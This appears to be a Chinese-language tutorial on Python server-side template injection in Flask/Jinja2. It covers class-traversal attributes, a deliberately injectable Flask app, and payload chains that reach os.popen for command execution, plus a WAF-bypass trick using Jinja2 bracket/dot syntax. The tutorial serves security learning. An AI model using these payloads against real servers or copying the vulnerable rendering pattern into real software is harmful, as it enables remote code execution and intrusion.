Python SSTI

Python中的特殊属性/方法/函数

SSTI中, 往往通过寻找基类->查找子类->执行危险函数来完成攻击, 需要了解一些Python类的特殊属性/方法/函数.

  • __class__: 对象的属性, 返回对象所属的类.

  • __mro__: 类的属性, 返回一个含有所有父类(包括间接父类和本类)的元组.

  • __base__: 类的属性, 返回类的直接父类.

  • __bases__: 类的属性, 返回类的所有直接父类. 跟__base__的区别在于, 如果子类是多继承, __base__只会返回一个, 而__bases__返回所有. __base__相当于__bases__[0].

  • __globals__: 函数的属性, 用于获取某个函数所在处位置的全局命名空间的变量, 当函数位于另一个模块时, 可以获取另一个模块的全局命名空间的变量.

  • __subclassess__(): 类的方法, 返回类的直接子类.

  • __dict__: 对象的属性, 一个字典, 储存对象的所有属性.

  • __init__(): 类的方法, 用于初始化对象. 在SSTI中用它作为跳板拿到__globals__属性. 如果声明类时未重载__init__(), 此时的__init__没有__globals__属性.

    未重载的__init__: <slot wrapper '__init__' of 'object' objects>

    重载过的__init__: <function A.__init__ at 0x00000257D3B0D1F0>

  • __import__: 这个函数在built-in命名空间里, 效果等同于import语句, 返回值是一个模块对象.

Flask的SSTI

Flask是一个流行的轻量级Web框架, 基于Python.

基本使用

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return 'Hello World!' #函数的返回值作为网页传递给浏览器

if __name__ == '__main__':
app.run() #默认监听127.0.0.1:5000

使用模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template_string


tpl = """
<h1>Hello {{ request.args.get("name") }}!<h1/>
"""
#可以在模板中使用request, session, config, g对象

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return render_template_string(tpl)

if __name__ == '__main__':
app.run(debug=True) #默认监听127.0.0.1:5000

提交一个name参数就可以看到回显了, 但是这个没法注入, 表达式已经执行过了.

image-20230409144519964

这样就可以注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, render_template_string, request


tpl = "<h1>Hello {0}!<h1/>"
#模板中可以使用的对象
#request, session, config, g, url_for
#namespace, lipsum, range, dict, self
#get_flashed_messages, cycler, joiner

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return render_template_string(tpl.format(request.args.get("name")))

if __name__ == '__main__':
app.run(debug=True) #默认监听127.0.0.1:5000
image-20230409150416232

表达式能被执行即可注入.

注入测试

就用上面的代码作为服务端.

找基类object

1
2
3
4
5
6
7
''.__class__.__mro__[1]        #把空字符串换成空字典和空列表也行, 下同
''.__class__.__base__
''.__class__.__bases__[0]
request.__class__.__mro__[-1]
request.__class__.__base__.__base__.__base__
request.__class__.__bases__[0].__bases__[0].__bases__[0]
#request可以换成session, config, g等, 但是类继承的层级不一样

主要就是利用__base____mro__这样的属性找到基类.

找重载过__init__()方法的子类

BurpSuite扫一下__subclasses__()返回的所有类, 根据回显判断__init__()是否被重载过, 也可以根据名字选择已知的某些特殊的类, 比如warnings.catch_warnings, 这个类中含有os模块无需导入.

image-20230409154648676
image-20230409154838014

比如这个索引为106的类就重载了__init__(), 接着访问函数的__globals__属性, 通过keys()查看有哪些变量

1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__.keys()

image-20230409155635438

可以看到, 有__builtins__, 于是可以通过__builtins__里的__import__()加载想要的模块, 比如os.

1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__["__builtins__"]["__import__"]("os").popen("dir").read()
image-20230409155959824

也可以用__builtins__里的eval()等函数实现RCE或者文件读取写入等功能.

Jinja2的特性

template中使用变量时, 可以用[]取代.的功能, 同理也可以用.取代[]的功能. 可以用这个来绕过.或者[]WAF.

1
2
{{ foo.bar }}
{{ foo['bar'] }}

这两行代码可以实现相同的功能, 但有一些细微的区别

foo.bar:

  • 首先执行getattr(foo, 'bar')
  • 如果没找到, 再执行foo.__getitem__('bar')
  • 都没找到, 返回一个未定义的对象

foo['bar']:

  • 首先执行foo.__getitem__('bar')
  • 如果没找到, 再执行getattr(foo, 'bar')
  • 都没找到, 返回一个未定义的对象

未完待续